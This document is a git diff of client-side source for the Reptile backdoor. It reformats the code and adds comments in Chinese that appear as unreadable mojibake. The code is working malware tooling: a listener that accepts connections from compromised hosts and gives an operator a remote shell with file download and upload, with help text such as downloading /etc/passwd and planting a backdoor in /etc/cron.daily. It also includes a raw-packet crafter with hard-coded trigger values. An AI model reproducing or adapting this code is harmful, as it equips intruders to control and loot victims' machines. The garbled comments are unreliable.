var_str_up[8]); - return 1; - } - - if (!(strcmp(var_array[6], "icmp") == 0 || - strcmp(var_array[6], "ICMP") == 0)) { - if (!var_array[3]) { - fprintf(stdout, "%s %s is not defined!\n", bad, - var_str_up[3]); - return 1; - } - - if (!var_array[5]) { - fprintf(stdout, "%s %s is not defined!\n", bad, - var_str_up[5]); - return 1; - } - } + // ҪIJǷѾ + // ... - char *arg_listener[] = {listener, "-p", var_array[1], "-s", - var_array[7], NULL, NULL}; + // ݰIJ + char* arg_listener[] = { listener, "-p", var_array[1], "-s", + var_array[7], NULL, NULL }; - char *arg_packet[] = {packet, "-t", var_array[4], "-x", - var_array[6], "-s", var_array[2], "-l", - var_array[0], "-p", var_array[1], "-k", - var_array[8], "-q", var_array[3], "-r", - var_array[5], NULL, NULL}; + char* arg_packet[] = { packet, "-t", var_array[4], "-x", + var_array[6], "-s", var_array[2], "-l", + var_array[0], "-p", var_array[1], "-k", + var_array[8], "-q", var_array[3], "-r", + var_array[5], NULL, NULL }; + // ӽ pid = fork(); + // forkʧܣӡϢ˳ if (pid == -1) fatal("on forking proccess"); + // ̵ȴӽ̽ if (pid > 0) { signal(SIGTERM, interrupt); signal(SIGINT, interrupt); @@ -348,13 +326,18 @@ int run(char **args) } while (!WIFEXITED(status) && !WIFSIGNALED(status)); } + // ӽִо߼ if (pid == 0) { + // һӽ pid2 = fork(); + // forkʧܣӡϢ˳ if (pid2 == -1) fatal("on forking proccess"); + // ڶӽ if (pid2 > 0) { + // þǷ񴫵ijЩ if (var_array[7] == NULL) { arg_listener[3] = NULL; arg_listener[4] = NULL; @@ -363,9 +346,11 @@ int run(char **args) fprintf(stderr, "%s listener could not be launched\n", bad); } + // ӽ̷ݰ if (pid2 == 0) { + // Э͵ if (strcmp(var_array[6], "icmp") == 0 || - strcmp(var_array[6], "ICMP") == 0) { + strcmp(var_array[6], "ICMP") == 0) { arg_packet[13] = NULL; arg_packet[14] = NULL; arg_packet[15] = NULL; @@ -383,59 +368,61 @@ int run(char **args) return 1; } -/* - * Thanks aliyuchang33 for suggesting this! ;) - * - * https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e - * - */ - -int export(char **args) -{ +// exportڽǰõļ +int export(char** args) { int vars; - FILE *confile; + FILE* confile; + // ûṩش1 if (args[0] == NULL) return 1; + // ûṩļӡϢش1 if (args[1] == NULL) { fprintf(stdout, "%s wrong syntax!\n", bad); return 1; } + // ԴļʧܣӡϢش1 if (!(confile = fopen(args[1], "w+"))) { fprintf(stderr, "%s Cannot open config file\n", bad); return 1; } + // вֵдļ for (vars = 0; vars < 9; vars++) fprintf(confile, "%s\n", var_array[vars]); + // رļӡɹϢ fclose(confile); fprintf(stdout, "%s Configuration exported\n", good); return 1; } -int load(char **args) -{ +// loadڴļ +int load(char** args) { int vars; - FILE *confile; + FILE* confile; + // ûṩش1 if (args[0] == NULL) return 1; + // ûṩļӡϢش1 if (args[1] == NULL) { fprintf(stdout, "%s wrong syntax!\n", bad); return 1; } + // ԴļʧܣӡϢش1 if (!(confile = fopen(args[1], "r+"))) { fprintf(stderr, "%s Cannot open config file\n", bad); return 1; } + // ļжȡֵ洢var_array for (vars = 0; vars < 9; vars++) { - char arg[50] = {0}; + char arg[50] = { 0 }; fgets(arg, 50, confile); if (strcmp(arg, "(null)\n")) { @@ -444,55 +431,64 @@ int load(char **args) } } + // رļӡɹϢ fclose(confile); fprintf(stdout, "%s Configuration loaded\n", good); return 1; } -int execute(char **args) -{ +// executeִⲿ +int execute(char** args) { int i; + // ûṩش1 if (args[0] == NULL) return 1; + // ƥִ for (i = 0; i < num_builtins(); i++) { if (strcmp(args[0], builtin_str[i]) == 0) return (*builtin_func[i])(args); } + // ûҵƥⲿ return launch(args); } -char *read_line(void) -{ +// read_lineڶȡûһ +char* read_line(void) { int bufsize = RL_BUFSIZE; int position = 0; - char *buffer = malloc(sizeof(char) * bufsize); + char* buffer = malloc(sizeof(char) * bufsize); int c; + // ڴʧܣӡϢ˳ if (!buffer) { fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } + // ѭȡû룬ֱз while (1) { c = getchar(); if (c == EOF) { free(buffer); exit(EXIT_SUCCESS); - } else if (c == '\n') { + } + else if (c == '\n') { buffer[position] = '\0'; return buffer; - } else { + } + else { buffer[position] = c; } position++; + // С󻺳 if (position >= bufsize) { bufsize += RL_BUFSIZE; - char *buffer_backup = buffer; + char* buffer_backup = buffer; if ((buffer = realloc(buffer, bufsize)) == NULL) { free(buffer_backup); fprintf(stderr, "reptile: allocation error\n"); @@ -502,26 +498,29 @@ char *read_line(void) } } -char **parse(char *line) -{ +// parseڽûУָΪ +char** parse(char* line) { int bufsize = TOK_BUFSIZE, position = 0; - char **tokens = malloc(bufsize * sizeof(char *)); - char *token, **tokens_backup; + char** tokens = malloc(bufsize * sizeof(char*)); + char* token, ** tokens_backup; + // ڴʧܣӡϢ˳ if (!tokens) { fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } + // ʹstrtokָ token = strtok(line, TOK_DELIM); while (token != NULL) { tokens[position] = token; position++; + // С󻺳 if (position >= bufsize) { bufsize += TOK_BUFSIZE; tokens_backup = tokens; - tokens = realloc(tokens, bufsize * sizeof(char *)); + tokens = realloc(tokens, bufsize * sizeof(char*)); if (!tokens) { free(tokens_backup); fprintf(stderr, "reptile: allocation error\n"); @@ -535,12 +534,13 @@ char **parse(char *line) return tokens; } -void client_loop() -{ - char *line; - char **args; +// client_loopڽѭȴû +void client_loop() { + char* line; + char** args; int status; + // ѭȴû do { line = readline("\e[00;31mreptile-client> \e[00m"); add_history(line); @@ -555,31 +555,35 @@ void client_loop() clear_history(); } -int main() -{ +// maindzڵ +int main() { int len; - char *pwd = get_current_dir_name(); + char* pwd = get_current_dir_name(); + // ӡӭϢ system("clear"); printf("\n\e[01;36mReptile Client\e[00m\n"); printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n"); banner2(); printf("\n"); + // ȡǰĿ¼Ϊݰڴ len = strlen(pwd); - listener = (char *)malloc(len + 10); + listener = (char*)malloc(len + 10); + // ڴʧܣӡϢ˳ if (!listener) fatal("malloc"); - packet = (char *)malloc(len + 8); + packet = (char*)malloc(len + 8); if (!packet) { free(listener); fatal("malloc"); } + // ʼݰ· bzero(listener, len + 10); bzero(packet, len + 8); @@ -589,16 +593,22 @@ int main() strcpy(packet, pwd); strcat(packet, "/packet"); + // ӽ pid = fork(); + // forkʧܣӡϢ˳ if (pid == -1) fatal("on forking proccess"); + // ̽ѭ if (pid > 0) client_loop(); - // if (pid == 0) - // background job + // ӽִк̨ⲿִ뱻ע͵ˣ return EXIT_SUCCESS; } +//ͷʵ֣дһshellһЩùܵʵ("help", "set", "unset", "show", "run", "export", "load", "exit") +//helpӡʹ÷ +//exit˳ +//setñֵҪһΪ("lhost", "lport", "srchost", "srcport", "rhost", "rport", "prot", "pass", "token", ִСд)Ϊòֵֵ洢var_array diff --git a/src/Reptile/userland/client/listener.c b/src/Reptile/userland/client/listener.c index 0385508..621682c 100644 --- a/src/Reptile/userland/client/listener.c +++ b/src/Reptile/userland/client/listener.c @@ -23,105 +23,114 @@ #include "pel.h" #include "util.h" -extern char *optarg; -unsigned char message[BUFSIZE + 1]; -char *password = NULL; -int sockfd; -pid_t pid; - -int help(int sock, char **args); -int __exit(int sock, char **args); -int shell(int sock, char **args); -int get_file(int sock, char **args); -int put_file(int sock, char **args); -int delay(int sock, char **args); - -char *builtin_str[] = {"help", "download", "upload", "shell", "delay", "exit"}; -int (*builtin_func[])(int sock, char **) = {&help, &get_file, &put_file, - &shell, &delay, &__exit}; - -int num_builtins() { return sizeof(builtin_str) / sizeof(char *); } - -void pel_error(char *s) -{ +// ȫֱ +extern char* optarg; // ȡвֵ +unsigned char message[BUFSIZE + 1]; // һڴ洢ͺͽյϢ +char* password = NULL; // һȫֱڴ洢 +int sockfd; // һȫֱڴ洢׽ļ +pid_t pid; // һȫֱڴ洢ID + +// ԭ +int help(int sock, char** args); // ṩϢĺ +int __exit(int sock, char** args); // ˳ڹر +int shell(int sock, char** args); // һʽshellĺ +int get_file(int sock, char** args); // Զļĺ +int put_file(int sock, char** args); // Զϴļĺ +int delay(int sock, char** args); // ÷shellӼĺ + +// ַ飬ӳƵӦĺ +char* builtin_str[] = { "help", "download", "upload", "shell", "delay", "exit" }; +// Ӧĺָ飬ڸƵöӦĺ +int (*builtin_func[])(int sock, char**) = { &help, &get_file, &put_file, &shell, &delay, &__exit }; + +// +int num_builtins() { + return sizeof(builtin_str) / sizeof(char*); +} + +// ݴӡӦĴϢ +void pel_error(char* s) { switch (pel_errno) { case PEL_CONN_CLOSED: fprintf(stderr, "%s %s: Connection closed.\n", bad, s); break; - case PEL_SYSTEM_ERROR: p_error(s); break; - case PEL_WRONG_CHALLENGE: fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s); break; - case PEL_BAD_MSG_LENGTH: fprintf(stderr, "%s %s: Bad message length.\n", bad, s); break; - case PEL_CORRUPTED_DATA: fprintf(stderr, "%s %s: Corrupted data.\n", bad, s); break; - case PEL_UNDEFINED_ERROR: fprintf(stderr, "%s %s: No error.\n", bad, s); break; - default: fprintf(stderr, "%s %s: Unknown error code.\n", bad, s); break; } } -void help_download() -{ +// ΪṩϢĺ +void help_download() { fprintf(stdout, "%s \n", builtin_str[1]); fprintf(stdout, "Example: download /etc/passwd /tmp\n"); } -void help_upload() -{ +// ΪϴṩϢĺ +void help_upload() { fprintf(stdout, "%s \n", builtin_str[2]); fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n"); } -void help_delay() -{ +// ΪӳṩϢĺ +void help_delay() { fprintf(stdout, "%s \n", builtin_str[4]); fprintf(stdout, "Example: delay 3600\n\n"); - fprintf(stdout, "%s Use \"delay 0\" if you don't wanna a " - "connecion every X time\n", warn); + fprintf(stdout, "%s Use \"delay 0\" if you don't want a connection every X time\n", warn); } -void no_help() -{ +// ҪϢʱõĺ +void no_help() { fprintf(stdout, "This command doesn't need help\n"); } -int help(int sock, char **args) -{ +// ṩϢĺ +int help(int sock, char** args) { + // ûṩsockΪ-1򷵻ش1 if (args[0] == NULL && sock == -1) return 1; + // ṩṩİϢ if (args[1] != NULL) { if (strcmp(args[1], builtin_str[0]) == 0) { no_help(); - } else if (strcmp(args[1], builtin_str[1]) == 0) { + } + else if (strcmp(args[1], builtin_str[1]) == 0) { help_download(); - } else if (strcmp(args[1], builtin_str[2]) == 0) { + } + else if (strcmp(args[1], builtin_str[2]) == 0) { help_upload(); - } else if (strcmp(args[1], builtin_str[3]) == 0) { + } + else if (strcmp(args[1], builtin_str[3]) == 0) { no_help(); - } else if (strcmp(args[1], builtin_str[4]) == 0) { + } + else if (strcmp(args[1], builtin_str[4]) == 0) { help_delay(); - } else if (strcmp(args[1], builtin_str[5]) == 0) { + } + else if (strcmp(args[1], builtin_str[5]) == 0) { no_help(); - } else { + } + else { fprintf(stdout, "This command is not valid!\n"); } - } else { + } + else { + // ûṩӡİϢ fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n"); fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]); @@ -137,93 +146,95 @@ int help(int sock, char **args) return 1; } -int __exit(int sock, char **args) -{ +// ˳ڹر +int __exit(int sock, char** args) { + // ûṩsockΪ-1򷵻ش1 if (args[0] == NULL && sock == -1) return 1; - pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); + // ˳ϢԶ + pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN); fprintf(stdout, "\n"); return 0; } -int shell(int sock, char **args) -{ +// һʽshellĺ +int shell(int sock, char** args) { + // ļϣselect fd_set rd; - char *term, *temp; + // նͺʹڴСȱ + char* term, * temp; int ret, len, imf, i, size; struct winsize ws; struct termios tp, tr; + // ûṩsockΪ-1򷵻ش1 if (args[0] == NULL && sock == -1) return 1; + // ȡն term = getenv("TERM"); - if (term == NULL) term = "vt100"; + // ն͵Զ len = strlen(term); - - ret = pel_send_msg(sock, (unsigned char *)term, len); - + ret = pel_send_msg(sock, (unsigned char*)term, len); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // ׼նˣimfΪ1 imf = 0; - if (isatty(0)) { imf = 1; - + // ȡڴС if (ioctl(0, TIOCGWINSZ, &ws) < 0) { p_error("ioctl(TIOCGWINSZ)"); return 1; } - } else { + } + else { ws.ws_row = 25; ws.ws_col = 80; } + // ʹڴСԶ message[0] = (ws.ws_row >> 8) & 0xFF; message[1] = (ws.ws_row) & 0xFF; message[2] = (ws.ws_col >> 8) & 0xFF; message[3] = (ws.ws_col) & 0xFF; - ret = pel_send_msg(sock, message, 4); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // shellshellԶ if (strcmp(args[0], builtin_str[3]) == 0) { - temp = (char *)malloc(2); - + temp = (char*)malloc(2); if (!temp) { p_error("malloc"); return 1; } - temp[0] = RUNSHELL; temp[1] = '\0'; fprintf(stdout, "\n"); - } else { + } + else { + // shellûԶ size = 1; len = 0; - - temp = (char *)malloc(size); - + temp = (char*)malloc(size); if (!temp) { p_error("malloc"); return 1; } - while (args[len] != NULL) { size++; size += strlen(args[len]); - char *temp_backup = temp; + char* temp_backup = temp; if ((temp = realloc(temp, size)) == NULL) { free(temp_backup); p_error("realloc"); @@ -231,390 +242,337 @@ int shell(int sock, char **args) } len++; } - memset(temp, '\0', size); - for (i = 0; i < len; i++) { strcat(temp, args[i]); strcat(temp, " "); } } - len = strlen(temp); - ret = pel_send_msg(sock, (unsigned char *)temp, len); + ret = pel_send_msg(sock, (unsigned char*)temp, len); free(temp); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // նԣڷǹ淶ģʽµ if (isatty(1)) { if (tcgetattr(1, &tp) < 0) { p_error("tcgetattr"); return 1; } - - memcpy((void *)&tr, (void *)&tp, sizeof(tr)); - + memcpy((void*)&tr, (void*)&tp, sizeof(tr)); tr.c_iflag |= IGNPAR; tr.c_iflag &= - ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); + ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); tr.c_lflag &= - ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN); + ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN); tr.c_oflag &= ~OPOST; - tr.c_cc[VMIN] = 1; tr.c_cc[VTIME] = 0; - if (tcsetattr(1, TCSADRAIN, &tr) < 0) { p_error("tcsetattr"); return 1; } } + // һѭ while (1) { FD_ZERO(&rd); - if (imf != 0) FD_SET(0, &rd); - FD_SET(sock, &rd); - if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) { p_error("select"); break; } - if (FD_ISSET(sock, &rd)) { ret = pel_recv_msg(sock, message, &len); - if (ret != PEL_SUCCESS) { pel_error("pel_recv_msg"); break; } - - if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) { + if (strncmp((char*)message, EXIT, EXIT_LEN) == 0) { if (isatty(1)) tcsetattr(1, TCSADRAIN, &tp); - fprintf(stdout, "\n"); return 1; } - if (write(1, message, len) != len) { p_error("write"); break; } } - if (imf != 0 && FD_ISSET(0, &rd)) { if ((len = read(0, message, BUFSIZE)) < 0) { p_error("read"); break; } - if (len == 0) { fprintf(stderr, "stdin: end-of-file\n"); break; } - ret = pel_send_msg(sock, message, len); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); break; } } } - if (isatty(1)) tcsetattr(1, TCSADRAIN, &tp); - return 1; } -int get_file(int sock, char **args) -{ - char *temp, *pathname; +// Զļĺ +int get_file(int sock, char** args) { + char* temp, * pathname; int ret, len, fd, total; unsigned char out = OUT; + // ûṩ㹻IJsockΪ-1򷵻ش1 if (args[1] == NULL || args[2] == NULL) { fprintf(stderr, "%s wrong arguments\n\n", bad); - if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) pel_error("pel_send_msg"); - return 1; } + // ļ·Զ len = strlen(args[1]); - - ret = pel_send_msg(sock, (unsigned char *)args[1], len); - + ret = pel_send_msg(sock, (unsigned char*)args[1], len); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // ļ· temp = strrchr(args[1], '/'); - if (temp != NULL) temp++; if (temp == NULL) temp = args[1]; - len = strlen(args[2]); - - pathname = (char *)malloc(len + strlen(temp) + 2); - + pathname = (char*)malloc(len + strlen(temp) + 2); if (pathname == NULL) { p_error("malloc"); return 1; } - strcpy(pathname, args[2]); strcpy(pathname + len, "/"); strcpy(pathname + len + 1, temp); + // ļ fd = creat(pathname, 0644); - if (fd < 0) { p_error("creat"); free(pathname); return 1; } - free(pathname); + // ļݲ total = 0; - while (1) { ret = pel_recv_msg(sock, message, &len); - if (ret != PEL_SUCCESS) { pel_error("pel_recv_msg"); fprintf(stderr, "%s Transfer failed.\n", bad); return 1; } - - if (strncmp((char *)message, EXIT, EXIT_LEN) == 0 && total > 0) + if (strncmp((char*)message, EXIT, EXIT_LEN) == 0 && total > 0) break; - if (write(fd, message, len) != len) { p_error("write"); return 1; } - total += len; - fprintf(stdout, "%d\r", total); fflush(stdout); } - fprintf(stdout, "%s %d done.\n\n", good, total); - return 1; } -int put_file(int sock, char **args) -{ - char *temp, *pathname; +// Զϴļĺ +int put_file(int sock, char** args) { + char* temp, * pathname; int ret, len, fd, total; unsigned char out = OUT; + // ûṩ㹻IJsockΪ-1򷵻ش1 if (args[1] == NULL || args[2] == NULL) { fprintf(stderr, "%s wrong arguments\n\n", bad); - if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) pel_error("pel_send_msg"); - return 1; } + // ļ· temp = strrchr(args[1], '/'); - if (temp != NULL) temp++; if (temp == NULL) temp = args[1]; - len = strlen(args[2]); - - pathname = (char *)malloc(len + strlen(temp) + 2); - + pathname = (char*)malloc(len + strlen(temp) + 2); if (pathname == NULL) { p_error("malloc"); return 1; } - strcpy(pathname, args[2]); strcpy(pathname + len, "/"); strcpy(pathname + len + 1, temp); + // ļ·Զ len = strlen(pathname); - - ret = pel_send_msg(sock, (unsigned char *)pathname, len); - + ret = pel_send_msg(sock, (unsigned char*)pathname, len); free(pathname); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // ļļ fd = open(args[1], O_RDONLY); - if (fd < 0) { p_error("open"); return 1; } - total = 0; - while (1) { len = read(fd, message, BUFSIZE); - if (len < 0) { p_error("read"); return 1; } - if (len == 0) { break; } - ret = pel_send_msg(sock, message, len); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); fprintf(stderr, "%s Transfer failed.\n", bad); return 1; } - total += len; - printf("%s %d\r", good, total); fflush(stdout); } - pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); - + // ͽź + pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN); printf("%s %d done.\n\n", good, total); return 1; } -int delay(int sock, char **args) -{ +// ÷shellӼĺ +int delay(int sock, char** args) { int ret, flag; unsigned int i, j; - char *numbers = "0123456789"; + char* numbers = "0123456789"; unsigned char out = OUT; + // ûṩsockΪ-1򷵻ش1 if (args[1] == NULL) { fprintf(stderr, "%s no arguments\n\n", bad); - if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) pel_error("pel_send_msg"); - return 1; } + // ǷΪ for (i = 0; i < strlen(args[1]); i++) { flag = 0; - for (j = 0; j < strlen(numbers); j++) { if (args[1][i] == numbers[j]) flag = 1; } - if (flag == 0) { fprintf(stderr, "%s wrong argument\n\n", bad); - if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) pel_error("pel_send_msg"); - return 1; } } - ret = pel_send_msg(sock, (unsigned char *)args[1], strlen(args[1])); - + // ӳʱõԶ + ret = pel_send_msg(sock, (unsigned char*)args[1], strlen(args[1])); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } - fprintf(stdout, "%s delay -> %s\n\n", good, args[1]); return 1; } -int execute(int sock, char **args) -{ +// ִĺ +int execute(int sock, char** args) { int i, ret; + // ûṩsockΪ-1򷵻ش1 if (args[0] == NULL || sock == -1) return 1; + // Ҳִ for (i = 0; i < num_builtins(); i++) { if (strcmp(args[0], builtin_str[i]) == 0) { if (i == 0) { return (*builtin_func[i])(sock, args); - } else { - ret = - pel_send_msg(sock, (unsigned char *)&i, 1); - + } + else { + ret = pel_send_msg(sock, (unsigned char*)&i, 1); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } - return (*builtin_func[i])(sock, args); } } } + // shell i = 3; - ret = pel_send_msg(sock, (unsigned char *)&i, 1); - + ret = pel_send_msg(sock, (unsigned char*)&i, 1); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } - return (*builtin_func[3])(sock, args); } -char *read_line(void) -{ +// ȡһĺ +char* read_line(void) { int bufsize = RL_BUFSIZE; int position = 0; - char *buffer = malloc(sizeof(char) * bufsize); + char* buffer = malloc(sizeof(char) * bufsize); int c; + // ڴʧܣӡϢ˳ if (!buffer) { fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } + // ѭȡû룬ֱз while (1) { c = getchar(); - if (c == EOF) { free(buffer); exit(EXIT_SUCCESS); - } else if (c == '\n') { + } + else if (c == '\n') { buffer[position] = '\0'; return buffer; - } else { + } + else { buffer[position] = c; } position++; - if (position >= bufsize) { bufsize += RL_BUFSIZE; - char *buffer_backup = buffer; + char* buffer_backup = buffer; if ((buffer = realloc(buffer, bufsize)) == NULL) { free(buffer_backup); fprintf(stderr, "reptile: allocation error\n"); @@ -624,149 +582,155 @@ char *read_line(void) } } -char **parse(char *line) -{ +// еĺ +char** parse(char* line) { int bufsize = TOK_BUFSIZE, position = 0; - char **tokens = malloc(bufsize * sizeof(char *)); - char *token, **tokens_backup; + char** tokens = malloc(bufsize * sizeof(char*)); + char* token, ** tokens_backup; + // ڴʧܣӡϢ˳ if (!tokens) { fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } + // ʹstrtokָ token = strtok(line, TOK_DELIM); while (token != NULL) { tokens[position] = token; position++; - if (position >= bufsize) { bufsize += TOK_BUFSIZE; tokens_backup = tokens; - tokens = realloc(tokens, bufsize * sizeof(char *)); + tokens = realloc(tokens, bufsize * sizeof(char*)); if (!tokens) { free(tokens_backup); fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } } - token = strtok(NULL, TOK_DELIM); } tokens[position] = NULL; return tokens; } -void reptile_loop(int sock) -{ - char *line; - char **args; +// ѭ +void reptile_loop(int sock) { + char* line; + char** args; int status; + // ѭȡִУֱյ˳ź do { line = readline("\e[01;32mreptile> \e[00m"); add_history(line); - args = parse(line); status = execute(sock, args); - free(line); free(args); } while (status); - clear_history(); } -void handle_shutdown(int signal) -{ +// رӵź +void handle_shutdown(int signal) { close(sockfd); exit(signal); } -void listener(int port) -{ +// ӵĺ +void listener(int port) { int new_sockfd, yes = 1; struct sockaddr_in host_addr, client_addr; socklen_t sin_size; + // ׽ if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { kill(pid, SIGQUIT); fatal("in socket"); } - if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == - -1) { + // ׽ѡõַ + if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) { kill(pid, SIGQUIT); close(sockfd); fatal("setting socket option SO_REUSEADDR"); } + // źŴرӵź signal(SIGTERM, handle_shutdown); signal(SIGINT, handle_shutdown); + // ַṹ host_addr.sin_family = AF_INET; host_addr.sin_port = htons(port); host_addr.sin_addr.s_addr = INADDR_ANY; memset(&(host_addr.sin_zero), '\0', 8); - if (bind(sockfd, (struct sockaddr *)&host_addr, - sizeof(struct sockaddr)) == -1) { + // ׽ֵַ + if (bind(sockfd, (struct sockaddr*)&host_addr, sizeof(struct sockaddr)) == -1) { kill(pid, SIGQUIT); close(sockfd); fatal("binding to socket"); } + // ׽ if (listen(sockfd, 5) == -1) { kill(pid, SIGQUIT); close(sockfd); fatal("listening on socket"); - } else { + } + else { fprintf(stdout, "%s Listening on port %d...\n", good, port); } + // ܿͻ sin_size = sizeof(struct sockaddr_in); - new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); - + new_sockfd = accept(sockfd, (struct sockaddr*)&client_addr, &sin_size); if (new_sockfd == -1) { kill(pid, SIGQUIT); close(sockfd); fatal("accepting connection"); } + // ӡͻϢ fprintf(stdout, "%s Connection from %s:%d\n\n", awesome, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); - // usleep(100 * 1500); - + // û룬ʾû if (password == NULL) { password = getpass("Password: "); fprintf(stdout, "\n"); } + // ʼͻ if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) { close(new_sockfd); fprintf(stdout, "%s wrong password!\n\n", bad); exit(ERROR); } + // ӡӭϢѭ banner(); reptile_loop(new_sockfd); + // ر׽ shutdown(new_sockfd, SHUT_RDWR); close(sockfd); } -void usage(char *argv0) -{ - fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", - argv0); +// ʾʹ÷ĺ +void usage(char* argv0) { + fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", argv0); exit(1); } -int main(int argc, char **argv) -{ +// +int main(int argc, char** argv) { int opt, port = 0; + // в while ((opt = getopt(argc, argv, "p:s:")) != EOF) { switch (opt) { case 'p': @@ -781,28 +745,28 @@ int main(int argc, char **argv) } } + // ûṩ˿ںţʾʹ÷˳ if (port == 0) usage(*argv); + // в㣬ʾʹ÷˳ if (argc <= 1) usage(argv[0]); - // printf("\n\e[01;36mReptile Shell\e[00m\n"); - // printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); - + // ӡʹϢ if (password != NULL) fprintf(stdout, "%s Using password: %s\n", good, password); + // ӽ pid = fork(); - if (pid == -1) fatal("on forking proccess"); + // ̵listener if (pid > 0) listener(port); - // if (pid == 0) - // background job while we are listening + // ӽִк̨ⲿִ뱻ע͵ˣ return EXIT_SUCCESS; } diff --git a/src/Reptile/userland/client/packet.c b/src/Reptile/userland/client/packet.c index 6c854c0..e808b21 100644 --- a/src/Reptile/userland/client/packet.c +++ b/src/Reptile/userland/client/packet.c @@ -21,444 +21,457 @@ #include "util.h" // Don't worry, it is gonna cahnged next version -#define KEY 0x6de56d3b -#define IPID 3429 -#define SEQ 15123 -#define WIN 9965 - -struct pseudohdr -{ - uint32_t saddr; - uint32_t daddr; - uint8_t zero; - uint8_t protocol; - uint16_t length; +// 峣ЩֵIPײTCPײֶ +#define KEY 0x6de56d3b // Կ +#define IPID 3429 // IPʶ +#define SEQ 15123 // TCPк +#define WIN 9965 // TCPڴС + +// һαײṹ壬ڼTCPUDPݰУ +struct pseudohdr { + uint32_t saddr; // ԴIPַ + uint32_t daddr; // ĿIPַ + uint8_t zero; // ֶΣ0 + uint8_t protocol; // ЭͣTCPUDP + uint16_t length; // ȣTCPUDPײݵܳ }; -unsigned short csum(unsigned short *buf, int nwords) -{ - unsigned long sum; - unsigned short odd; +// У͵ĺIPTCP/UDPײ +unsigned short csum(unsigned short* buf, int nwords) { + unsigned long sum; + unsigned short odd; - for (sum = 0; nwords > 1; nwords-=2) - sum += *buf++; + // ֽڵУ + for (sum = 0; nwords > 1; nwords -= 2) + sum += *buf++; - if (nwords == 1) { - odd = 0; - *((unsigned char *)&odd) = *(unsigned char *)buf; - sum += odd; - } + // ֽڣһֽڼУ + if (nwords == 1) { + odd = 0; + *((unsigned char*)&odd) = *(unsigned char*)buf; + sum += odd; + } - sum = (sum >> 16) + (sum & 0xffff); - sum += (sum >> 16); + // У۵16λ + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); - return ~sum; + // ط + return ~sum; } -int tcp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) -{ - int socktcp, nbytes, ret = EXIT_FAILURE; - unsigned int pckt_tam, plen; - char *buffer; - struct iphdr *iph; - struct tcphdr *tcph; - struct sockaddr_in s; - socklen_t optval = 1; - struct pseudohdr psh; - char *pseudo_packet; - - pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len; - - if (!(buffer = (char *)malloc(pckt_tam))) { - fatal("on allocating buffer memory"); - return ret; - } - - memset(buffer, '\0', pckt_tam); - - iph = (struct iphdr *)buffer; - tcph = (struct tcphdr *)(buffer + sizeof(struct iphdr)); - - if ((socktcp = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { - fatal("on creating TCP socket"); - goto free_buffer; - } - - if (setsockopt(socktcp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { - fatal("on setsockopt"); - goto close_socket; - } - - memcpy((buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)), data, data_len); - - iph->ihl = 5; - iph->version = 4; - iph->tos = 0; - iph->id = htons(IPID); - iph->ttl = 255; - iph->protocol = IPPROTO_TCP; - iph->tot_len = pckt_tam; - iph->saddr = inet_addr(srcip); - iph->daddr = inet_addr(dstip); - - //iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr)); - iph->check = csum((unsigned short *)buffer, iph->tot_len); - - tcph->source = htons(srcport); - tcph->dest = htons(dstport); - tcph->seq = 0x0; - tcph->ack_seq = 0; - tcph->doff = 5; - tcph->fin = 0; - tcph->syn = 1; - tcph->rst = 0; - tcph->psh = 0; - tcph->ack = 0; - tcph->urg = 0; - tcph->window = htons(WIN); - 